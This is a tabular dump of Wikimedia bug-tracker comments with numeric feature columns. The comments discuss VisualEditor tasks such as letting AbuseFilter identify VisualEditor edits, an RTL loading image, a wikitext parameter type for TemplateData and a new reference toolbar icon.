247218,VisualEditor: Allow AbuseFilter rules to identify VE edits,I'm pretty sure it's impossible to do this since any kind of tags can be only added after an edit is saved (ChangeTags::addTags() function requires the edit to have a know rev_id which implies that it already exists in the database).,,,1375203423,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,4,,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,6.0,15.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,4.0,4.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.020833333333333,0.875,I'm pretty sure it's impossible to do this since any kind of tags can be only added after an edit is saved (ChangeTags::addTags() function requires the edit to have a know rev_id which implies that it already exists in the database).
247216,VisualEditor: Allow AbuseFilter rules to identify VE edits,"**nykevin.norris** wrote:

Wait, if the AbuseFilter is going to understand tags, and already applies tags, what order will filters run in?  What if a later filter applies a tag that would have triggered an earlier filter?  Should MW just keep re-running the filters until everything's been triggered?",,,1375203347,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,4,,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,3.0,8.0,3.0,2.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,9.0,6.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,6.0,3.0,0.0,0.0,3.984375,0.75,"**nykevin.norris** wrote:

Wait, if the AbuseFilter is going to understand tags, and already applies tags, what order will filters run in?  What if a later filter applies a tag that would have triggered an earlier filter?  Should MW just keep re-running the filters until everything's been triggered?"
247215,VisualEditor: Allow AbuseFilter rules to identify VE edits,"Can the abusefilter detect veaction=edit. Using that and we could block edits which insert nowikis from the VE when they are almost always in error and allow them from wikitext editor, when they are normally ment.",,,1375201847,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,7.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,7.0,5.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,4.341463414634147,0.8292682926829268,"Can the abusefilter detect veaction=edit. Using that and we could block edits which insert nowikis from the VE when they are almost always in error and allow them from wikitext editor, when they are normally ment."
247209,VisualEditor: Allow AbuseFilter rules to identify VE edits,"This would need AbuseFilter to be extended to understand tags (or, to understand VisualEditor, which seems a less satisfying and extensible way of achieving this).",,,1374075407,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,4.633333333333334,0.8666666666666667,"This would need AbuseFilter to be extended to understand tags (or, to understand VisualEditor, which seems a less satisfying and extensible way of achieving this)."
247203,VisualEditor: Allow AbuseFilter rules to identify VE edits,"Both AbuseFilter and VisualEditor use change tags.  It might be possible for AbuseFilter to use VisualEditor's tag if AbuseFilter runs after, though I don't see tags mentioned at https://www.mediawiki.org/wiki/Extension:AbuseFilter/Rules_format",,,1373946577,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,26.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,18.0,15.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.529411764705882,0.8529411764705882,"Both AbuseFilter and VisualEditor use change tags.  It might be possible for AbuseFilter to use VisualEditor's tag if AbuseFilter runs after, though I don't see tags mentioned at URL"
53401,VisualEditor: Page loading animated image is only LTR,"The file VisualEditor/modules/ve-mw/init/styles/images/loading.gif is a ""progress bar""-like loading indicator. It is moving only left to right. It would be more natural for RTL environments if it had an RTL version.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1373924940,1377205420.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-erfxy2a7265vjb4b2dj3,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,12.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,6.0,8.0,0.0,2.0,0.0,5.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,2.0,3.909090909090909,0.7121212121212122,"The file VisualEditor/modules/ve-mw/init/styles/images/loading.gif is a ""progress bar""-like loading indicator. It is moving only left to right. It would be more natural for RTL environments if it had an RTL version.

--------------------------
**Version**: unspecified
**Severity**: normal"
245958,VisualEditor: Page loading animated image is only LTR,"Change 80490 merged by jenkins-bot:
Reverse the progress image for RTL

https://gerrit.wikimedia.org/r/80490",,,1377205462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-erfxy2a7265vjb4b2dj3,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.294117647058823,1.0,"Change 80490 merged by jenkins-bot:
Reverse the progress image for RTL

GERRIT_URL"
245948,VisualEditor: Page loading animated image is only LTR,Merged. Will go out with wmf15.,,,1377205420,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-erfxy2a7265vjb4b2dj3,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.875,Merged. Will go out with wmf15.
245941,VisualEditor: Page loading animated image is only LTR,"Change 80490 had a related patch set uploaded by Amire80:
Reverse the progress image for RTL

https://gerrit.wikimedia.org/r/80490",,,1377204612,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-erfxy2a7265vjb4b2dj3,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,25.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 80490 had a related patch set uploaded by Amire80:
Reverse the progress image for RTL

GERRIT_URL"
53374,TemplateData: Add parameter type for wikitext,"I would want to propose to add a type to indicate the content is contained wikitext, instead of a arbitary string. This could help VE to display a visual editor for those fields instead of showing the wikicode directly. This can't be done on ""string"" types as it's not certain they contain real wikitext. If the parameter is only to contain a single template invocation of a specific type, then perhaps a type ""template"" and a pointer to which template.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52652",Medium,50.0,1373909880,1383945230.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-mo5dvj5do74gbwyx6vrs,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,1.0,1.0,5.0,1.0,0.0,0.0,1.0,1.5,0.5,0.0,1.0,0.0,0.5,0.0,6.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,2.5,2.0,0.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,6.5,2.0,7.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.5,8.0,0.5,0.0,2.5,0.0,1.5,0.0,1.0,5.0,0.0,0.5,0.0,0.0,0.0,3.9,0.6916666666666667,"I would want to propose to add a type to indicate the content is contained wikitext, instead of a arbitary string. This could help VE to display a visual editor for those fields instead of showing the wikicode directly. This can't be done on ""string"" types as it's not certain they contain real wikitext. If the parameter is only to contain a single template invocation of a specific type, then perhaps a type ""template"" and a pointer to which template.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
244368,TemplateData: Add parameter type for wikitext,"Change 91624 merged by jenkins-bot:
Specify ""content"" and ""unbalanced-wikitext"" as a valid parameter types

https://gerrit.wikimedia.org/r/91624",,,1383945120,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mo5dvj5do74gbwyx6vrs,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.076923076923077,0.8461538461538461,"Change 91624 merged by jenkins-bot:
Specify ""content"" and ""unbalanced-wikitext"" as a valid parameter types

GERRIT_URL"
244362,TemplateData: Add parameter type for wikitext,"Change 91624 had a related patch set uploaded by Krinkle:
Specify ""wiki-markup"" as a valid parameter type

https://gerrit.wikimedia.org/r/91624",,,1382632926,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mo5dvj5do74gbwyx6vrs,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.08,0.92,"Change 91624 had a related patch set uploaded by Krinkle:
Specify ""wiki-markup"" as a valid parameter type

GERRIT_URL"
244357,TemplateData: Add parameter type for wikitext,"I was going to request this, because I've seen a similar case where the parameter is to be filled with just an internal link. VisualEditor should be able to hide the wikicode markup from new users as much as possible, and this seems to be a very common place where it still appears. See e.g. the values of the parameters ""imagem_legenda"" and ""cidade"" of the [[pt:Template:Info/Bairro do Brasil]]:
http://toolserver.org/~kolossos/templatetiger/tt-table4.php?template=Info/Bairro%20do%20Brasil&lang=ptwiki&where=&is=

We see things like ""A [[Praça Dom Sebastião]], com a [[Igreja da Conceição]] ao fundo (2007).""",,,1375969318,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-mo5dvj5do74gbwyx6vrs,task_subcomment,,True,c1,3,False,,,5,,0.5,0.0,0.5,0.5,0.0,3.5,1.5,0.5,0.0,0.0,1.5,0.5,0.0,0.0,0.0,2.0,0.0,4.0,7.5,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,0.5,0.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,9.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,5.5,2.5,12.0,1.5,1.5,6.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,2.5,7.5,9.0,0.0,5.0,0.0,2.5,0.0,1.0,2.5,0.0,0.5,0.0,0.0,6.0,3.417213114754098,0.7269125683060109,"I was going to request this, because I've seen a similar case where the parameter is to be filled with just an internal link. VisualEditor should be able to hide the wikicode markup from new users as much as possible, and this seems to be a very common place where it still appears. See e.g. the values of the parameters ""imagem_legenda"" and ""cidade"" of the [[pt:Template:Info/Bairro do Brasil]]:
URL

We see things like ""A [[Praça Dom Sebastião]], com a [[Igreja da Conceição]] ao fundo (2007)."""
53372,"VisualEditor: Toolbar icons - ""reference"" (bookmark) alternatives or improvements","Original icon, and 2 suggested alternatives

The ""Insert reference"" icon is not very intuitive. I've made a sketch of two alternatives.

See attachment, or on-wiki at http://commons.wikimedia.org/wiki/File:VisualEditor_-_Toolbar_-_Reference-edit1.png

That image includes the current icon, and two adaptations that consist of: a snippet of grey text, and a blue super-scripted number [1]. 

The grey text could be made into abstract letterforms - squiggles - (rather than the letters REF) in order to make it usable by all languages. 

Or we could use a grey ""+"" sign with the blue [number]. 

(The only problem is RightToLeft languages. Not sure how to solve that.)

The blue super-scripted [number] is universally recognizable and intuitively understandable as denoting references, both in Wikimedia projects and even beyond. I'd suggest this element, at the least, should form the basis for any replacement icon.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53396

**Attached**: {F11513}",Medium,50.0,1373906820,1401472548.0,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,False,PHID-TASK-643scf5lq5v72slluprm,task_description,resolved,True,c1,3,False,False,False,2,,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,8.0,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.0,3.3333333333333335,6.333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,2.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.3333333333333333,0.0,12.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,4.666666666666667,1.3333333333333333,8.666666666666666,0.3333333333333333,2.6666666666666665,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.3333333333333333,0.0,1.3333333333333333,6.333333333333333,1.6666666666666667,0.0,1.3333333333333333,0.0,1.3333333333333333,0.0,0.6666666666666666,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,3.7534246575342465,0.684931506849315,"Original icon, and 2 suggested alternatives

The ""Insert reference"" icon is not very intuitive. I've made a sketch of two alternatives.

See attachment, or on-wiki at URL

That image includes the current icon, and two adaptations that consist of: a snippet of grey text, and a blue super-scripted number [1]. 

The grey text could be made into abstract letterforms - squiggles - (rather than the letters REF) in order to make it usable by all languages. 

Or we could use a grey ""+"" sign with the blue [number]. 

(The only problem is RightToLeft languages. Not sure how to solve that.)

The blue super-scripted [number] is universally recognizable and intuitively understandable as denoting references, both in Wikimedia projects and even beyond. I'd suggest this element, at the least, should form the basis for any replacement icon.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL

**Attached**: {F11513}"
244262,"VisualEditor: Toolbar icons - ""reference"" (bookmark) alternatives or improvements",I'm going to provisionally deem this solved with the new icon.,,,1401472548,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-643scf5lq5v72slluprm,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,1.0,I'm going to provisionally deem this solved with the new icon.
244259,"VisualEditor: Toolbar icons - ""reference"" (bookmark) alternatives or improvements","**turingt** wrote:

You should include a label besides each button whenever possible. When you have a clear label, it doesn't matter that the icon is hard to recognize. And no, hover text doesn't solve the problem.",,,1373981836,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-643scf5lq5v72slluprm,task_subcomment,,True,c1,3,False,,,2,,2.0,0.0,0.0,0.0,4.0,6.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,6.0,8.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,6.0,6.0,2.0,0.0,0.0,0.0,6.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.673469387755102,0.7755102040816326,"**turingt** wrote:

You should include a label besides each button whenever possible. When you have a clear label, it doesn't matter that the icon is hard to recognize. And no, hover text doesn't solve the problem."
244257,"VisualEditor: Toolbar icons - ""reference"" (bookmark) alternatives or improvements","Notes: 

The current icon is stored at http://commons.wikimedia.org/wiki/File:VisualEditor_-_Icon_-_Reference.svg

Threads on en.wiki which discussed the confusing design of the current icon include these:
http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Icons_are_incomprehensible
http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Reference_Issues:_Omnibus_Edition
http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Mystery_meat_navigation
http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#References
http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Attempting_to_add_a_reference
http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#User_experience
http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Refs_and_templates
(And one thread that reminds us that cellphones/tablets don't get hover text)",,,1373907050,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-643scf5lq5v72slluprm,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,21.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,7.0,12.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,3.603448275862069,0.6551724137931034,"Notes: 

The current icon is stored at URL

Threads on en.wiki which discussed the confusing design of the current icon include these:
URL
URL
URL
URL
URL
URL
URL
(And one thread that reminds us that cellphones/tablets don't get hover text)"
53337,VisualEditor: Improve how we suppress reference warnings in template rendering,"Currently it's a hack; it'd be nice to be a bit less of one.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50423",Medium,50.0,1373852760,1375327521.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-npqg6q6ozudz2pqkgmjm,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,3.0652173913043477,0.5869565217391305,"Currently it's a hack; it'd be nice to be a bit less of one.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
242265,VisualEditor: Improve how we suppress reference warnings in template rendering,"Done and merged, now that wmf12 is deployed everywhere.",,,1375327521,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-npqg6q6ozudz2pqkgmjm,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,1.0,"Done and merged, now that wmf12 is deployed everywhere."
242259,VisualEditor: Improve how we suppress reference warnings in template rendering,"Change 73614 merged by jenkins-bot:
Use new class to detect Cite errors inside templates

https://gerrit.wikimedia.org/r/73614",,,1375326645,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-npqg6q6ozudz2pqkgmjm,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Change 73614 merged by jenkins-bot:
Use new class to detect Cite errors inside templates

GERRIT_URL"
242251,VisualEditor: Improve how we suppress reference warnings in template rendering,"Change 73096 merged by jenkins-bot:
Add more specific class to cite errors

